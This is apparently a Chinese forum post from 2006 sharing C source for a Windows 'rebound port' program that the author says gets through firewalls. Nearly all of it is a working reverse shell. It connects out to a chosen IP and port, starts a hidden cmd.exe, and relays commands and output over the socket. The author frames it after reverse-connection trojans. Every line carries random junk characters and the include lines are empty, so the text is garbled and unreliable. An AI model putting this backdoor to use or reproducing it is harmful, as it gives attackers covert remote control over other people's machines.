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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @eMDRbgq;[  
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/* ============================== ! e6;@*  
Rebound port in Windows NT ,R0@`t1 p  
By wind,2006/7 E>TD`  
===============================*/ m s\:^a  
#include 6"WR}S0o  
#include A=|LMJMWR  
l;U9dO}/[  
#pragma comment(lib,"wsock32.lib") D2|-\vJ>  
'GQ1;9A57  
void OutputShell(); *{tn/ro6a  
SOCKET sClient; a{Y:hrd:Z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DCX 4!,ZF  
h *)spwF-  
void main(int argc,char **argv) ? Ldw\  
{ &5/`6-K  
WSADATA stWsaData; g#`(& k  
int nRet; $/,qw   
SOCKADDR_IN stSaiClient,stSaiServer; 3?Y%|ZVM  
'[JrP<~^o  
if(argc != 3) "[@-p  
{ 7;Km J}$  
printf("Useage:\n\rRebound DestIP DestPort\n"); ',8]vWsl  
return; isHa4 D0  
} I%%\;Dy  
O]w&uim  
WSAStartup(MAKEWORD(2,2),&stWsaData); W5}.WFu  
CU6rw+Vax  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2N)=fBF%-  
%Z&[wU~  
stSaiClient.sin_family = AF_INET; k<=.1cFh  
stSaiClient.sin_port = htons(0); :BCjt@K}  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 7^Uv1ezDR  
R+lKQAyC0=  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gqNd@tYI  
{ V'pNo&O=  
printf("Bind Socket Failed!\n"); VZYd CZ&l7  
return; E5 H6&XU  
}  <VB  
KJ,{w?p~ )  
stSaiServer.sin_family = AF_INET; <;#d*&]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); $y\'j5nk3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J5k \R+\H  
L':;Vv~-  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) eOy{]< l3  
{ 4PTHUyX  
printf("Connect Error!"); ItQIM#  
return; En+4@BC  
} +Es3iE @  
OutputShell(); @z$V(}(O^  
} ) !3XM  
_]1dm)%  
void OutputShell() 8^p/?R^bu  
{ ^SxB b,\  
char szBuff[1024]; N:0/8jmmO  
SECURITY_ATTRIBUTES stSecurityAttributes; s!Y>\3rMW  
OSVERSIONINFO stOsversionInfo; e{Om W  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  {"y{V  
STARTUPINFO stStartupInfo; QV+('  
char *szShell; G9z Q{E  
PROCESS_INFORMATION stProcessInformation; \%&QIe;:k  
unsigned long lBytesRead; g6Qzkvw)  
:g'"*VXYB  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1 dz&J\|E#  
/-E>5wU  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); tb AN{pX  
stSecurityAttributes.lpSecurityDescriptor = 0; ~zRUJ2hD!  
stSecurityAttributes.bInheritHandle = TRUE; $q DH  
Gw!jYnU  
W6&" .2  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [:a;|t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :~:(49l  
Ee9u7TFT  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); en!cu_]t  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,bmiIW%  
stStartupInfo.wShowWindow = SW_HIDE; WXNJc  
stStartupInfo.hStdInput = hReadPipe; nfy"M),et  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 8_U*_I7(  
-}2q-  
GetVersionEx(&stOsversionInfo); CeR4's7  
#E5#{bra  
switch(stOsversionInfo.dwPlatformId) \`{ YqOT  
{ >~TLgq*  
case 1: BI;in;Ln  
szShell = "command.com"; ]. 1[H~5N  
break; rv;w`f  
default: \PU|<Ru.  
szShell = "cmd.exe"; }pPxN@X  
break; `zC_?+  
} p4<&NMG  
yXc/Nl%  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); GUmOK=D >  
M^mS#<!y  
send(sClient,szMsg,77,0); oQ8W0`bZa  
while(1) @`$8rck`  
{ Eo)Q> AM  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dy, ,x  
if(lBytesRead) T*J]e|aF  
{ $>OWGueq64  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Wxb/|?,  
send(sClient,szBuff,lBytesRead,0); HkJ$r<J2  
} SR%h=`t  
else O9p8x2  
{ s~]Ri:7~  
lBytesRead=recv(sClient,szBuff,1024,0); cc.z C3Hs3  
if(lBytesRead<=0) break; m]=|%a6  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Z?G-~3]e  
} ocAoqjlT[  
} d '4c?vC  
B2 Tp;)  
return; 1A< O Z>  
}
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